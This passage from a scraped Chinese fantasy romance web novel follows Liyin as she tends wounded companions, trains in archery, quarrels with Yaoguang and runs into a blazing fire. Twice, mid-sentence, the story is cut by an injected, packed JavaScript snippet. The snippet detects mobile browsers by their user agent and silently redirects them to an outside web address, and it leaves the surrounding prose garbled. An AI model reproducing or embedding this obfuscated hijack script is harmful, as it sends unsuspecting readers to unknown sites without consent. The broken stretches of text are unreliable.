璃音抿唇笑了会,觉得神君这哄人的姿态还算有救,决定这回就放他一马,她回身便一面收拾东西,一面安排起今日的行程来:“一会买些礼物去长云山上,看看小蜀和虞姐姐,也看看归岚的伤养得怎么样了。” 说罢便要去牵男人的手,不料摇光一别胳膊躲开了。 璃音讶然抬眸,正对上男人促狭挑起的一尾眼角:“老师不论去哪,学生自当奉陪,只是孤男寡女,老师这是何意?” 说着恭恭敬敬退后一步,对她一比手,摆了个“请先行,我随后”的手势出来。 头一次被甩了手的璃音静静看着他这一出戏,良久,抱起胳膊冷笑一声,然后猛猛一甩头,男人方才精心编出的发辫在空中甩出嚣张的一道残痕,便随少女重重踩出的步子飞远了。 璃音简直气得快要呕血,不给牵手是吧,很好,那这辈子都别想再牵了! 一口气跑到长云山上,本想拉着小蜀,狠狠在背后说他一筐坏话,然而行踪一早就被她自己透露了,才刚落地,身后一道蓝光紧跟着就落了下来。 她走一步,摇光便跟一步,她回头怒视他,他嘴角就慢慢噙出一抹悠闲可恶的淡笑,越发闲庭信步似的,就在她身后不紧不慢地缀着。 好不容易踱至观中道场,竟恰好撞见虞家姐弟两个齐刷刷跪在小蜀面前,跪得恭谨又笔直,而小蜀则一脸肃沉,满身透着斥驳,双方显然是起了争执。 这明显是在处理师门中事,自己过去“劝架”似乎也没个身份,璃音迟疑了下,虞宛初温静却自有一股坚定的声音已先传了过来:“师尊,徒儿知晓师尊是担忧我与阿言修为不够,攀山不成,反折损自身,但徒儿寿数有定,错过这次,徒儿又还能有几次机会得攀昆仑?所以师尊,我们姐弟二人心意已决,此心此愿,宛初绝无后悔,亦绝不会更改!” 不期竟听到“昆仑”二字,璃音脚下的踟躇立刻停下了。 昆仑山自凡间大地巍峨而起,山顶则直通天宫,故而凡人也常把这座山形象地叫作“天梯”,攀不上的是凡人,攀上了山顶便即登仙。 每届的巫师大考都在昆仑山腰举行,故而在凡人修士们的口中,前来报名参试便也有了个形象的说法,就叫作“攀山”。 虞家这对姐弟竟是要去参加巫师大考! 有点惊讶,但也算不得震惊,大考不限仙凡,谁人皆可报名,虞姐姐有心来考,也是条登仙的路子。 真正叫璃音讶然的,是小蜀竟会不同意。 徒弟有心气,有志向,分明是件好事,可看小蜀现在,唇角微沉,眉心深锁,璃音还是头一次见她如此深沉不愉的样子,这么看着,还真有几分一派之主唬人的威严。 云上真人盯着地上跪着的一双徒儿,面沉如霜,悍默良久,忽地一甩竹竿,道:“好,你们长大了,要做什么,为师也再拦不住,如今你们两个既要去送死,那便自去吧……” 啊? 听到这里,璃音终于忍不住了,提步上前,解释道:“巫师大考不过是擢选灵巫的一场考试而已,并非什么比武的擂台,往年文试武试皆有定例,届时更会有几位神巫监管坐阵,绝无致命之危,所以你们大可不必如此的……” 她长长呃了声,终于找到了个合适的词来形容他们方才对话间的荒诞之感,她忍不住笑起来,一面去扶虞姐姐,一面笑道:“大可不必如此视死如归!” 160. 第159章 思想龌龊! 巫师大考每三年举行一次,三年一“攀山”,其难度、流程以及在修士心目中的神圣地位,其实都与人间的科考十分相似。 考上了一步登天,但考不上,除了那些自己想不开,非要撞头吊颈、寻死觅活的,哪里会有什么性命之危。 所以,眼前这师徒三人,就为着报名“攀山”这事,竟是各自一脸悲壮,一副就要去慨然赴死的模样,实在荒诞诡异得紧。 璃音捺着好笑,又废了好一番唇舌解释,左右调停,才终于平息了这场硝烟,好歹没叫这莫名悲壮的三人当场断绝师徒关系。 说起来这师徒三个,小蜀本性良怯,极少能看到她如此厉色的模样,虞宛初更是骨子里都透着温静,说话时,那每个字音里都藏着一股子糯,真没想到这样两个人,彼此对上时,竟能如此锋锐相当、寸步不让。 反倒是剩下的那个总是阴阴郁郁、酷爱冷冷放狠话的少年,这一次,竟从头至尾,都只是淡垂着眼,在姐姐身后安静地跪着,未发一言。 着实古怪。 其实不只虞宛言古怪,今日这三人闹的这一整出“攀山乌龙”都透着一股浓浓的古怪,这点,璃音不是没有察觉。 直到进来了归岚休养的小屋,她上手摸查着归岚的伤势,脑子里对这事的琢磨还兀自停不下来。 按理,小蜀是在天宫待过的,本不该对“攀山”有此误解。而且,从虞宛言挥符如土的豪迈风格,以及虞宛初竟能分得一块昆仑镜残片下山、以作防身之用来看,小蜀对这两个徒儿,何止是上心,简直称得上是溺爱了! 所以无故阻碍这俩徒弟的仙途,根本就没道理。 思来想去,小蜀会大动这样一场肝火,最大的可能,应当还是出在昆仑镜上。 会不会,她是从镜中窥见了什么呢? 极有可能便是窥得了虞家这一对姐弟“攀山”的结果,且这结果不是很妙。 可“攀山”失败,最差的结果也就是自己卷了铺盖下山,还能有多不妙?难道是昆仑镜中显影,这次的昆仑大考中,将暗藏着什么夺人性命的巨大险境? 思及此,历经过前世昆仑那一场大劫难的璃音,不由得心里咯噔一下,立时便将这二者联系了起来…… 可念头刚一冒出,又立刻被璃音自己否决了:不,昆仑大劫,不该和来年的大考有关。 思想前世,恶灵袭山,昆仑大乱,那天的日子璃音记得很清楚,不仅因为这是她人生重大转折的一日,也因那日子本就十分特殊好记:就是在来年的正月十五上元节。 而大考定在开春之后,离得还有月把日子,所以在鱼龙混杂的修士们赶来“攀山”之前,十位神巫便已尽皆覆灭,甚而导致那一届的大考直接没了,所以乱子早就出了,倒并不是趁着哪场考试才乱的。 事有跷蹊,真想直接找小蜀和虞姐姐问个明白,然若果真涉及未来、乃至前世之事,偏又问了也是白问。 正思量不定间,翻动着检查归岚伤势的那一截腕骨,却忽被一只大掌从旁沉稳而有力地捏握住了。 璃音动作和思绪皆是一顿,神思回笼,不禁没好气地扭过头:“谁准你过来的,一边呆着去,别在这添乱。” 边说边大力去甩摇光的手:“再说神君不是很嫌弃碰到我吗,现在这又是在做什么?” 摇光闻言没松手,原本深定的眸光微动,竟是被少女这一声冷眼控诉熨出了一点笑意,他指间加劲,不容她挣脱,另一手飞快向着榻上一下轻挥,往俯身趴卧在榻上的归岚后腰处,迅速罩下了一件外袍。 把人遮严实了,他才轻巧撤了手,同时对着横眉望他的少女,似笑非笑地一扯唇角:“学生若再不拦着,归岚君的裤子就要被老师扒光了。” 璃音被这话一惊,忙扭头望回榻上的归岚—— 正对上归岚趴着身,侧撑起一张赧红的脸看着她,见她望来,似是怕她还要继续掀衣上手,忙嗓音低羞地挤出了一句:“主人……再下面没伤的,别……别再往下看了……” 璃音一下意识到了什么,也腾地红了脸。 归岚有一道致命伤落在后腰靠近尾椎的地方,查看的时候,会需要把裤腰稍稍往下褪去那么一点点。 方才自己脑中想着事情,手上便不免马虎,大概扒裤子的尺度没把握好,不小心就…… 少女的脸是红的,但表情却是镇定无比,她隔着摇光刚给归岚遮上的外袍,颇具医者威严地一拍归岚后背,肃着声脸道:“我是医者,你是病患,病患到了医者眼中,不管什么部位,不过都是一块谁都会长的肉罢了,你无需害羞……” 说着忽听身后一声低笑,璃音扭着脖子回头,轻瞪了某人一眼,用眼神哼了他一句:笑什么呢,思想龌龊! 看着少女这红着脸蛋振振有词、又怒目瞪他的模样,摇光阖低了睫,全不理会少女的眼神追杀,兀自扬着唇角,笑了个畅快。 至于差点被扒了裤子的龙族小神君,压根没关注到两人间的风起云涌,只觉得主人当然说什么都是对的,趴在那不停嗯着声点头,心想主人见多识广、着手成春,真不愧是自己苦苦等待了九百年的主人! 给归岚看了伤换过药,璃音轻拍了拍他的脑袋,温声细语靠在他耳边说了句:“好归岚,要认真养伤,快快好起来,等你伤好了,我这可有个惊喜礼物要给你呢。” 越是养这种重伤,养心便也越发重要,心情畅快了,什么病都能好得快些。而这份礼物,也绝对够得上惊喜,璃音对此很有自信。 归岚一听,果然兴奋起来,顿觉伤势都好了大半。 龙族小神君的期待太过澎湃,喜悦都漫过魂契传了过来,璃音感受到了,不禁也笑,伸手宠爱地摸摸他后脑。 他可得快些好起来,她还有好些事要同他商量,来年正月十五,他们还要并肩守护昆仑呢! 今天探视得差不多了,璃音起身,一见着长身静等在一旁、随她起身而动作起来的某人,刚才对着爱宠时春风化雪般的凌凌笑意立刻不见了,绑得精致的发辫随哼声向他一甩,便径自出门去了。 但临走前,璃音还是不放心刚和爱徒吵过架的小蜀,又去她那看了一眼,果然瞧见她正耸肩耷脑地坐在地上,抱着一坛酒,唉声叹气在那独酌解忧呢。 见她这等愁苦模样,璃音几乎可以确定,关于虞家那对姐弟的未来,小蜀一定是看到什么了。 她想了会,过去陪她坐了下来。 屁股刚挨着地,就感觉身侧挨上一道蓝影,两只长腿一伸一屈,也在自己身边悠悠懒懒地坐了下来。 璃音撇撇嘴,默默向着小蜀那边挪了挪屁股,和某人离远了些,才以肘撑膝,手支起下巴,望着小蜀道:“去了结果如何,虞姐姐其实自己也已看到了,不是吗?” “姐姐……你都猜到了,是不是?” 小蜀抬起朦胧含雾的一双醉眼,怀里抱着个大大的酒坛,歪头靠在了璃音肩上,眸中满是回忆道:“这两个孩子自小伶仃,从前寄人篱下,吃过许多苦。我当年捡着他们时,正巧撞着小六受着一群同龄孩子的欺负,小五那时才一个十岁刚冒点头的女娃娃,身轻体弱,没半点功夫在身,偏就敢一人对打七八个小混混,打不动了,也要用身体护着弟弟不肯撒手。” 虞宛言似乎提过,他在师门中排行第六,所以师父都是唤他作小六的。 小六是虞宛言,那话中的小五便是虞姐姐了。 只没想到外表温温柔柔的虞姐姐,内里的性格竟是如此刚强。 不知怎地,璃音脑中蓦地想起在望仙镇时,她在一位算命先生跟前取笑虞宛言,虞姐姐过来温声劝和,却被算命先生拒收了卦金那桩事来。 莫非她的劫难,果然便是要应在“攀山”这事上。 小蜀还在兀自絮絮地忆着当年:“我那时就知道,小五绝对是个修炼的好苗子,我把他们姐弟两个带了回来,日夜悉心教导,岂有不盼着他们成才的,只是他们……” 她说到这一顿,显是天机不可触动,于是话势一收,只是叹道:“比起年纪轻轻就折在攀山路上,我倒宁可他们就像如今这样,做两个无忧无虑的小修士,待在长云山上,待在我身边,安安稳稳过完这一辈子。” 她轻抚了下躺在身侧地上的竹杖,又是一叹:“我早早分出一块昆仑镜残片给了小五,就是希望她自己能领悟到我的用心,知难而退,谁知她竟……” 璃音轻笑了声,却故意绷起脸,肃声接口道:“谁知她明明领悟到了,对自己‘攀山’的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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摇光闻言,眼尾勾起一点笑,不紧不慢迈开长腿,换了一个侧边侍立过去。 这人如此安静乖巧地站着,不吵不闹,能找的茬实在不多,璃音画了两笔,又蹙起眉,一叠声“哎”了起来:“神君站在这里,碍着我思路了。” 摇光眉峰轻挑,但仍没作声,抱着胳膊不疾不徐后退了两步,干脆站到她身后烛火的阴影之中,不动了。 这居然都赶不走他,璃音咬牙,又画了几笔后,执笔的手忽地一颤,只见少女惶然回头道:“神君站在小仙身后,神威太盛,实是难以忽视,小仙总觉得有芒刺压背,好像随时要被什么东西偷袭,心里着实害怕。” 反正就是站她前面不行,左右不行,背后也不行,摇光勾唇笑了下,懒淡着一张脸走了上前,停步在少女背后,长臂一展,一把就将她从椅凳上抱举了起来。 璃音惊呼一声,还没来得及挣动,就已被男人圈扣在怀中,膝随着他坐下的姿势一折,便已稳稳当当被他抱坐在了腿上。 前后左右都被堵死,也就他这不要脸的,竟还能在她周身找出“下”这个位置,璃音简直叹服。 “这样行了?” 男人温热的呼吸落在颈侧,璃音僵着脖子,没敢说不行。 “下”要是再被否决,他要再脸不红心不跳地换成“上”可怎么了得。 于是坐在他满怀的幽香里,璃音清了清嗓子,口吻一般般地道:“还行吧。” “嗯。”男人一本正经点了下头,环抱着她,下巴轻蹭过她耳垂,朝桌面上那堆纸笔懒懒一点,“那继续吧。” 璃音:“……” 这变态! 不过,以前慕璟明也总爱抱她坐在膝上,让她就那样做自己的事,所以璃音坐这两条腿早坐惯了,还真没什么不适应的地方。 继续就继续,今日她就不信坐不麻他这两条腿! 提起笔来,正要再画,忽然一道灵讯飞传而来,璃音一怔,忙用指尖凝起一缕神识,轻轻点破刻着商止师兄神印的封文,云纹流转间,一道烁着月白色流光的字迹,便缓缓在璃音眼前显影: 阿月负伤,诸医皆拒,我已将他遣往你处,阿横,你素知他脾性,烦请多为照看。 161. 第160章 你陪不陪我 商月受伤了?! 璃音脑中嗡的一下,只觉前世自己拿浮光剑割过的身上各处一阵幻痛,立马就要从摇光怀里跳起身来。 商月这人脾气性格哪里都好,唯独有个讳疾忌医的毛病,常叫她和商止师兄头疼不已。 所谓讳疾忌医,倒也不是不肯治伤,而是他似乎很是耻于将自己的伤口示人。所以无论受了多重的伤,只要还没昏死过去,他就一定会警惕着一张脸,双手将衣领捂得紧紧的,好像有人要强逼他这良家妇男似的,弄得过来给他看伤的灵医们都十分尴尬。 谁也说不清他这是个什么心理。 但璃音猜想,大概是头上压了个各方面都过于优秀、难以攀越的兄长,于是心中越是仰慕,就越是耻于向外人展示自己的稚涩。 事情没能办得举重若轻,受伤了,便总想着能捂则捂,不肯让人看见,更不愿传去哥哥的耳中。 所以商止师兄的那句“诸医皆拒”,指的并不是诸医拒了商月,而是商月拒见了诸医。 但好在,诸医之中,还有个她,总是商月拒绝不了的。 于是每每商月负伤,都会被商止师兄直接扭送至她的还音殿中,由她按着强行治了便罢。 平日里倒没什么,但伤在这个时间点上,璃音便不免格外紧张起来。 她挥散灵讯,急急起身,手腕却被身后一只大掌扣住了。 “要去看他?” 声线清淡,好似全无情绪,但清淡得过于刻意,那小小的脾气便暴露了。 璃音急着要走,没空陪他闹,直接“嗯”了声,单手麻利地收拾了一桌的东西,然后扭头,撞上他黑静瞳仁的同时,一把反抓住了他的手:“一起。” 说罢便带着他,叩动传送铃,一起直奔昆仑山上去了。 昨夜不过赌气刺了他一句,今日就闹出了这副死样给她看,给商月看诊时若再不让他在一旁“监看”着,回头再脑补她扒了谁的裤子,那还得了。 而且,赌气互吵几句可以,但要说真弄出什么难以说清的误会,给自己招来一堆麻烦不说,还要让他平白难过一场,她可没这磨人磨己的爱好。 * 商月的伤不重,至少人是醒的,璃音一见,顿时狠狠松了口气。 然而受了伤的月宫少主向来性情古怪,见摇光跟了进来,神色顿变,手立马攥住衣领子捂上了,璃音对付他此举的经验丰富,直接一道魂力打过去,把他无痛打晕了事。 把人放倒在榻上细细查验一番,原来就只是后肩挨了一剑,被浅浅戳了个剑尖儿进去。这种程度的伤,她再晚来一会,怕是伤口都要痊愈了。 璃音心道商止师兄小题大做,这也要扭送到她这儿来吗,害她来之前着实紧张了一下。 但竟如此凑巧,前世,就是在后肩同样的位置,商月因替她在瑶池宴上挡下了玉虚琉璃灯的一角碎片,在那留下了一道永远都褪不去的长疤。 所以腹诽归腹诽,璃音还是格外仔细地为他上了药,做了包扎。 这一世,她不再来纠缠他,那么就像那条消失的长疤一样,前世的她曾带给他的那些苦难,也都会消失的吧。 这样的话,她是不是,也终于可以不用再觉亏欠他什么了? 如此一想,真是心头一大块阴霾消散,不由得心情大好。 心情一好,便连上完药,给商月盖被子时的手脚都轻快起来,摇光见了,在一旁抱着胳膊凉笑:“看个膀子也值得这样高兴。” 璃音不理他,只继续替商月把被子盖好,又慢悠悠回了个灵讯给师兄,汇报过这边的收治情况,这才扭过头去,无视掉男人那双幽幽凉凉的眸子,说:“我去练箭,你陪不陪我。” 当然是要陪的。 找茬般抱起的那两只胳膊总算是懈下了,璃音好笑地等他悠悠然踱着两条长腿过来,然后听见他低头下来问:“想去哪练?” 回身望一眼榻上的商月,自己这似乎是不大行了,璃音想了想,头脸一仰,理所当然地给他下达了通知:“就去你那里好了。” 反正他那里地方大,还人缘差,仙侍都被赶走了,除了一个文昌帝君,从来也没人上门,藏个她在里面练练弓箭,真是再适合不过。 男人懒淡的一张脸上终于浮起了点笑意,他拽上她腕间:“好。” 璃音垂目,在渐起的传送流光中,看向他搭上来的修长指节。 自从今早他躲开她那次开始,他好像……便真的不肯再牵她的手了。 每次来牵她,都只是拽她腕上,绝不肯再往下碰到一点。 这算什么意思,惹恼了他,就不牵她的手,在给她某种形式上的“惩罚”吗? 简直是想反了天! 然而越想越是这个可能,璃音胸口腾地升起一股气,有心想刺他两句,偏又不知如何开口,抱怨他不来牵她的手吗,这要是被他听出来了,那还不得被他笑话到天荒地老去! 憋气憋了一路,直气到他后院,少女一张脸都气得微微鼓了起来,想狠狠甩开他手,偏那人收手太快,压根没给她甩的机会。 一时又再想不到其它出气的法子,少女只好绷着脸,抿住唇,一言不发,猛一个转身把男人撇下,留给他一个生着闷气的后脑勺,狠狠练箭去了。 后羿神君箭术超绝,当日在神魔战场上那最后一招“落焰飞天”,弥留之际惊鸿一瞥,见他只一箭便荡尽恶鬼,直接把那一场战局终结,时至今日回想起来,璃音心内仍是惊艳余韵不绝。 她有幸承了落日神弓在手,只可惜相逢匆匆,片语之间,他能传授给她的东西终究是太少了。 配合落日使出的那一套箭术,自九百年前在长云山上那会儿,她和归岚就日夜都在琢磨,基本的功夫已差不多摸了个透。 只唯独那最强一式“落焰飞天”,竟能出一箭而化万箭,远不只是灵力强盛便可达到的,其中关节,实是玄妙莫测,无论她和归岚如何揣想,都研究不透其中的运理。 可她必须把这一式研究出来,并且要赶在来年的正月十五之前。 因为这将是她未来应对满山恶灵时,能拥有的最强的一张底牌。 * 商月那绿豆大小的一点伤口,都没过夜,便愈合得连疤痕都找不见了。 也算是给商止师兄交了差,璃音松快着心神把人送走,此后,她白日里便藏在摇光的后院之中,练弓习箭,钻研“攻”法,晚上就回去凡间包下的那间客栈小屋,研画护阵,钻习“守”法。 她做这一切都不避着摇光,有时看他安静在一旁陪着,还会拉他近身,要他陪拆几招,或是与他一起研究讨论。 昆仑大劫她无法向任何人示警,但看她近来种种针对昆仑的防备举动,若他足够聪明,即便她什么也没说,也总该能察觉到一些什么了吧! 过了三五天忙碌但清净的日子,璃音万万没想到,这天晚上,商止师兄的灵讯又突然出现了。 商月又负伤,且又被师兄遣到她殿中去了! 又一次心惊肉跳,璃音急匆匆收了东西,和摇光一起,赶去了还音殿。 过去一看,人醒着,斜坐在她榻上,见到她身后的摇光,也没上次那么惊惧了,竟还笑了笑,大大方方和他俩都打了个招呼:“阿横,神君。” 璃音狐疑地走近前去,这次没等她打晕了查看伤口,他竟主动侧过身去,翻解下半侧襟领,把白皙流畅的一大截肩颈,和上面略深的一处剑伤,都向她敞露了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339851|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从没见过他如此配合看伤的样子,璃音着实愣了下,但等见了那伤,又不禁略蹙了眉。 这次伤的,竟又是和上次同样的地方。 只是伤口却比上次严重了许多。 搞不好,是会留疤的。 不,那里绝不能留疤。 这一世,绝对不能,她也绝不会允许! 璃音肃着眉眼,仔细给他清了创口,上最好的灵药,然后小心做了包扎。 好在那伤虽看着皮翻肉绽,但到底只是皮肉伤,仙体不似凡身,没有那么脆弱,静养两天便好。 但这伤的地方对璃音而言有些特殊,怕他乱动留疤,这两天璃音索性就把箭术阵法都抛了,直接留在殿里,捧一册巫典看着,方便看顾他。 摇光对此没说什么,只是很安静陪她在殿里,向她借了一张桌子,也安静做自己的事,偶尔会起身过来,给她斟一杯茶。 璃音好奇他在做什么,路过时瞥了一眼,原来是在完善她给昆仑研究的护山阵法。 两天后,商月伤口愈合,然而,就在璃音又一次把他送出还音殿的当晚,商止师兄的灵讯就又一次来了。 “你遇到的都是些什么对手,就专盯着你这半边膀子戳吗?” 商月把月白轻衫从肩头褪下的那刻,璃音一见那熟悉的位置,却一次比一次严重的剑伤,实在是忍不住了。 看着创口一团模糊的血肉,她眼里蓄出了一点水光:“好好的肩膀,都被砍成什么样了。” 是被那些“石子”伤的吗,可为什么偏偏就要伤在这里呢,像冥冥中一个不详的预示,看得她心里发涩又发慌。 少女微卷的睫毛跌下,掩去了眼底一瞬的惶然,万分小心地给他处理好伤口后,璃音直起身,居高俯睨着坐在榻上的他,难得对他恼声:“没我和师兄看着,你最近练剑是不是懈怠了,不然怎么次次出去,次次受伤回来。” 明明叮嘱了他要万事小心的,结果不叮嘱前还没事,一叮嘱完,就开始隔三差五给她弄点伤回来。要不是她深知商月脾性,不会拿受伤这种事开玩笑,简直都要以为他是在故意和自己作对了。 少女面容肃恼,眸中却还带着未干的潮意,商月转过身,看得一颗心怦然而动,他指节攥拢上半褪着的襟边,向她仰起脸来,温温一笑:“对不起,阿横,让你担心了。” 这还是他头一次向自己认错,璃音略微有些惊讶。 以往不管他做了什么,总是好心,是怜佑,是正义,即便出了岔子,那也不是错,从不会有人说是他的错,他也从不觉得自己是在犯错。 所以两人间无论发生什么,从来都是她在向他认错的,可今日,他居然,对她说了对不起。 怎么会呢,心里感觉到一点点异样,可她又想,人是会成长,是会改变的呀。这一世,她就变了,小七也变了,很多人和事都发生了改变,那商月为什么不能变呢? 本还有些敲打他的重话想说的,这下全给咽了回去,她语气软了下来:“我刚才不是故意那样说你的,我只是……” 只是恐他灵术不精,捞“石子”不成,反被“石子”给砸没了性命。 然而这话可真是说不出口。 好在商月笑着截断了她的话音:“阿横,这次的伤养好之后,我想闭关一段时间去练剑,你陪不陪我?” 练剑吗,自然是好的。 闭关也很好,或许能就此躲过他的一场生死劫也不一定。 只是这话怎么听起来也有种异样的感觉…… 璃音迟疑了一会,终于还是向他点了头。 而不远处安静伏案的摇光,听见这句,无声顿下了笔,向着这处,缓慢抬起了一双烛火都照不亮的、漆黑幽寂的眼。 162. 第161章 夜火 迈过长长的白玉阶,再一次踏入商月的浮霁殿时,璃音竟有一瞬的恍惚。 多久了? 前世,三百年前的那一次中秋,她自月牢偷跑出来,一路跑来这里,得知了一个关于自己最为丑陋不堪的真相,流了人生中最长最久的一场泪,一仰头,在满目极尽绚烂的烟火之中,她第一次想到了去死。 现在呢,她揣着小七昨日陪她去凡界街市上采买的满满一大袋子零食,搬过一张摇摇的躺椅,在浮霁殿的后院中舒舒服服摇着,也不怕商月告密,一面看他勤苦练剑,一面有滋有味地往口中丢零嘴。 说陪商月闭关,其实无非就是像商止师兄在旁督学自己时那样,每日来督看几个时辰,确保他没在开小差,再查验下今日心得,瞧瞧有无进益,便算完事。 不算辛苦,她也来督练得十分乐意。 既然钻研“落焰飞天”钻进了死胡同,敲头撞脑也敲不出个思路,璃音便想着,越是这种没灵感的时候,就越要把自己从钻研箭术这事本身中抽离出来,多在外面漫无目的地晃一晃,做一些无关紧要的闲事,发散发散思维,极有可能在某处灵光一闪,就让她悟出东西来了。 就比如,欣赏着眼前月宫里最是清拔隽秀的仙君,在她眼前把一柄浮光剑舞得仙逸出尘,就是一件很不错的闲事。 破军的剑意凌厉,拿在小七手中,从来都是一尺寒光现,一剑定乾坤,从没见他舞出过什么精巧繁杂的花架子。 浮光却温淡、远静,舞动起来,是月色花阴溶溶夜,是暗香浮动月黄昏。 不过据闻,这剑在商月手中最多还只发挥出了五六成神力,当年在商止师兄手上,一柄浮光动,便似一匹月华如练奔泻,那卓然的风姿,更是如诗,如画,如要人醉,那时的整个天宫之中,不知多少男仙女仙都曾为之倾倒! 璃音也确实有些沉醉了,但与商月和师兄都没什么干系,而是眼前舞剑的人,不知何时,竟被她自动脑补成了那位从不舞剑的摇光神君。 啊,那凌厉漂亮的脸蛋,那长舒飘展的身姿,还有扭身时,那一下下绷出的结实有劲的腰腹线条…… 这要是也在昏昧月影下,夜夜都只舞给她一个人看…… 光是脑补了这一下,璃音就激动得一颗心乱跳,简直已是醺醺然半醉,她算是彻底理解那些个画像中的昏君为何总是在看美人跳舞,且还总是一副醉眼迷离的模样了。 想得太过沉醉,以至于等被商月的一声“阿横”唤回神来,看他那张因舞剑而微微泛起了潮红的脸凑近,询问她今日的剑练得如何时,璃音一时竟回想不出任何一个他今日练剑的画面来。 她暗骂了声自己失职,又默默怨了句祸水,便忙在脸上扯起一个笑,嘴里也胡乱扯出一句:“你已练成这样,还总说自己只得五六成,真不知师兄当年把那十成的剑威舞出来,得是个什么惊世绝艳的模样了。” 浮光剑威最鼎盛时究竟能到何种程度,比之破军又如何,璃音是真有些好奇,只可惜自己生得晚了,无缘亲见,如今剑在商月手中,要等他练出来,也不知要等去多少年后了。 少女兀自为错过神剑的风采而惋惜着,没注意到眼前的仙君闻言,面色微变,但很快,便又被他一贯清濯的笑意掩去了:“浮光本就是兄长的剑,兄长自然是使得最好的,我能得兄长五成,已是浮光给了面子了。” 这话倒也确实,神器易主,堪比人间二婚的半道夫妻,彼此尚不相熟,还可能各自怀揣着一个白月光,一段鸡飞狗跳的磨合期几乎是必不可少的,反而像她和落日神弓那般平稳的,似乎才是少数。 浮光毕竟是名器,前任主子还是那样纯白无瑕、惊世绝艳、还在世却已再不能使剑的白月光。 主人自知残废,不愿神剑就此埋没在自己手里,执意要将其放归。 灵器也自知碍眼,若再强留主人身边,只怕时时提醒他已是个废人,再难与它重回巅峰,为此自伤自苦,于是万般难舍,也只得舍了,一切听从原主的心意安排,换了主人。 如此尴尬的情况之下,商月如今能与它磨出了五成,已是着实不易。 还有那些个脾气比浮光更“刚烈”的,莫说五成,就是半成,修炼个三百年也别想有。 不自觉摸了摸腰间坠着的小葫芦,璃音忍下一声笑。 比如玉横,前世被商月收走,其实她心里,是有一点点隐藏得极深的不悦的。 自己的东西,就那么被人不打招呼给占了去,心里怎么可能真的情愿。可偏是她犯了错,偏偏那人又是商月,他不是抢夺她的东西,他只是一心一意为她好罢了,她没有资格感到不舒服,更没有资格不悦,她只能怀着巨大的愧疚,感恩他施予的恩德。 结果磨来磨去,磨合了那么久,中秋那日,听说他修炼难成的消息,巨大的愧疚之下,她的心底,竟然,还偷偷生出了一丝阴暗的窃笑。 罪过罪过,这可真是罪过。 这会儿一不注意,那抹窃笑差点就又要浮上来了,璃音忙干咳了声,一面暗暗鄙夷自己丑恶的内心,一面忙忙地起身告辞,宣布今日的督学结束,然后转过身,踱着步,嘴角一咧,把玩着腰间玉横温温凉凉的玉身,边走边无声笑了个够。 唉,这该是个多么丑恶的笑啊。 但是没关系。 和商月是不能比,但和某位祸水那放肆恶劣的嘴脸比起来,她简直是温泉水,是四月风,是心地软得不能再软的小仙子了。 脚步轻快地走出浮霁殿,一路上都颇好的心情,在回到人间客栈那一间小屋中后,还是稍凉了一凉。 屋内没人。 自她答应陪商月闭关练剑,入夜后,那位神君就再没狗皮膏药似的跟来这里陪她了。 在黑魆魆的屋子里独自静静站了好一会,璃音才给自己叫了茶水,点了灯,在跳晃的烛火下,铺开纸笔,继续研究起了她的图阵。 隔日再去给商月督练,有了昨日一番走神后的困窘,她便认真了许多。 结果这认真一看,还真叫她有点惊讶。 昨日她说商月已把浮光练到了商止师兄的五成,其实并没细看,而是比对着前世这时商月的水平来说的。 然而今日一看,浮光在他手中灵力丰沛,挥洒自如间,浑浑然已如一体。 五成? 远不止于此! 是她前世今世都对他剑术上的进益太不关注,竟是记错了吗? 真心实意夸赞了他一回,入夜,璃音回到客栈小屋,仍是无人,黑魆魆的,她点上灯后,直接推开了窗。 已是十一月,就要入冬,夜间风凉,有怕冷的行人已裹上了棉衣、披戴起了大氅。 抬头望望,漫天银辉冷寂,衬得那夜空又高又远,好像永远也够不到似的。 璃音只看了一眼,猛然警醒,立马砰的一声,把窗户给关死了。 才不要给他知道自己在想他呢。 虽然他的记忆在慢慢恢复,昨天也陪她出去买吃的了,但璃音就是有种感觉。 天上的摇光神君,似乎没有凡间的慕璟明那么喜欢她了。 很多慕璟明会为她做的事,为她让的步,总觉得换作摇光,就不会了。 他不来陪她,也仍是不肯牵她的手,看来想看他为她月下舞剑,也就只能是想想而已了吧。 低下头,伸出一只手掌在眼下缓缓摊开。 掌心处一道浅淡到几乎就要消散的红痕,直至今日,也不曾加深一点。 慢慢拢回指掌,没心思画阵,一箭究竟要如何化万箭的灵感也迟迟不来,璃音闷闷呼出一口气,干脆隐去身形,一个晃身出了小屋,加入街上缓步的行人,漫无目的地逛了起来。 而那间空荡下来的小屋门窗紧闭,只余下一点如豆的烛火,还兀自在里面摇摇地亮着。 * 冲天的火光映入眼帘的时候,璃音正用鞋尖轻踢着一颗小石子,在回去客栈的路上,在沁凉的夜风里,恹恹怏怏地走着。 脚步错愕地凝下一瞬,畏火的应激甚至尚未来得及发作,她已化身一道飞光,向着自己那间小屋冲了过去。 巨大的火舌舔舐着高高的夜空,一簇幽紫色的冷焰,如一道暗影的描边,就隐在那肆虐的舌尖之上,正随之肆意翻沸、吞卷。 琉璃净火! 璃音只一眼便将这火认了出来,身体叫嚣着要她停下,快停下,可她一步未停,只一个抬眼认火的瞬间,便调动浑身的灵力催动了颈间的东海冰晶,然后直直冲入了火光之中。 她不敢停,因为透过发间那一只长命锁改溶的银簪,她听见小七不停地在喊她:“阿璃,阿璃……” 他都不知道她在哪里,就一个劲地喊着她的名字,叫她别怕。 可她却知道他就在里面。 她好生气,明明前几日才严肃提醒过他,不许仗着自己厉害,就妄自托大,他也乖乖应了“好”的,可转头就往专炼神仙的天火里面冲,他根本就没在好好听她的话。 